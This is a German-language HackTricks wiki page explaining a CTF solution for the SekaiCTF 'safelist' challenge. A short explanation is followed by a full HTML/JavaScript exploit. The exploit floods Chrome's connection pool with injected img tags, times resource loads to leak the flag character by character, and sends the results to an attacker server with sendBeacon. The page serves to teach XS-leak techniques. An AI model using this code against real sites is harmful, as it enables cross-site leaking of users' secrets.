mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
116 lines
3.6 KiB
Markdown
116 lines
3.6 KiB
Markdown
# Connection Pool by Destination Example
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
In [**diesem Exploit**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-safelist-html), [**@terjanq**](https://twitter.com/terjanq) schlägt eine weitere Lösung für das Problem vor, das auf der folgenden Seite erwähnt wird:
|
|
|
|
{{#ref}}
|
|
connection-pool-by-destination-example.md
|
|
{{#endref}}
|
|
|
|
Lass uns sehen, wie dieser Exploit funktioniert:
|
|
|
|
- Der Angreifer wird eine Notiz mit so vielen **`<img`** Tags **laden** **`/js/purify.js`** wie möglich injizieren (mehr als 6, um den Ursprung zu blockieren).
|
|
- Dann wird der Angreifer die **Notiz** mit dem Index 1 **entfernen**.
|
|
- Dann wird der Angreifer \[den **Bot die Seite aufrufen lassen** mit der verbleibenden Notiz] und wird eine **Anfrage** an **`victim.com/js/purify.js`** senden, die er **zeitlich** erfassen wird.
|
|
- Wenn die Zeit **größer** ist, war die **Injektion** in der **Notiz** geblieben, wenn die Zeit **geringer** ist, war die **Flag** dort.
|
|
|
|
> [!NOTE]
|
|
> Um ehrlich zu sein, beim Lesen des Skripts habe ich einen Teil vermisst, wo der **Angreifer den Bot die Seite laden lässt, um die img-Tags auszulösen**, ich sehe nichts dergleichen im Code.
|
|
```html
|
|
<html>
|
|
<head>
|
|
<script>
|
|
const SITE_URL = "https://safelist.ctf.sekai.team/"
|
|
const PING_URL = "https://myserver"
|
|
function timeScript() {
|
|
return new Promise((resolve) => {
|
|
var x = document.createElement("script")
|
|
x.src =
|
|
"https://safelist.ctf.sekai.team/js/purify.js?" + Math.random()
|
|
var start = Date.now()
|
|
x.onerror = () => {
|
|
console.log(`Time: ${Date.now() - start}`) //Time request
|
|
resolve(Date.now() - start)
|
|
x.remove()
|
|
}
|
|
document.body.appendChild(x)
|
|
})
|
|
}
|
|
|
|
add_note = async (note) => {
|
|
let x = document.createElement("form")
|
|
x.action = SITE_URL + "create"
|
|
x.method = "POST"
|
|
x.target = "xxx"
|
|
|
|
let i = document.createElement("input")
|
|
i.type = "text"
|
|
i.name = "text"
|
|
i.value = note
|
|
x.appendChild(i)
|
|
document.body.appendChild(x)
|
|
x.submit()
|
|
}
|
|
|
|
remove_note = async (note_id) => {
|
|
let x = document.createElement("form")
|
|
x.action = SITE_URL + "remove"
|
|
x.method = "POST"
|
|
x.target = "_blank"
|
|
|
|
let i = document.createElement("input")
|
|
i.type = "text"
|
|
i.name = "index"
|
|
i.value = note_id
|
|
x.appendChild(i)
|
|
document.body.appendChild(x)
|
|
x.submit()
|
|
}
|
|
|
|
const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
|
|
// }zyxwvutsrqponmlkjihgfedcba_
|
|
const alphabet = "zyxwvutsrqponmlkjihgfedcba_"
|
|
var prefix = "SEKAI{xsleakyay"
|
|
const TIMEOUT = 500
|
|
async function checkLetter(letter) {
|
|
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js
|
|
// Depending whether we found flag's letter it will either load the images or not.
|
|
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char.
|
|
const payload =
|
|
`${prefix}${letter}` +
|
|
Array.from(Array(78))
|
|
.map((e, i) => `<img/src=/js/purify.js?${i}>`)
|
|
.join("")
|
|
await add_note(payload)
|
|
await sleep(TIMEOUT)
|
|
await timeScript()
|
|
await remove_note(1) //Now, only the note with the flag or with the injection existsh
|
|
await sleep(TIMEOUT)
|
|
const time = await timeScript() //Find out how much a request to the same origin takes
|
|
navigator.sendBeacon(PING_URL, [letter, time])
|
|
if (time > 100) {
|
|
return 1
|
|
}
|
|
return 0
|
|
}
|
|
window.onload = async () => {
|
|
navigator.sendBeacon(PING_URL, "start")
|
|
// doesnt work because we are removing flag after success.
|
|
// while(1){
|
|
for (const letter of alphabet) {
|
|
if (await checkLetter(letter)) {
|
|
prefix += letter
|
|
navigator.sendBeacon(PING_URL, prefix)
|
|
break
|
|
}
|
|
}
|
|
// }
|
|
}
|
|
</script>
|
|
</head>
|
|
<body></body>
|
|
</html>
|
|
```
|
|
{{#include ../../banners/hacktricks-training.md}}
|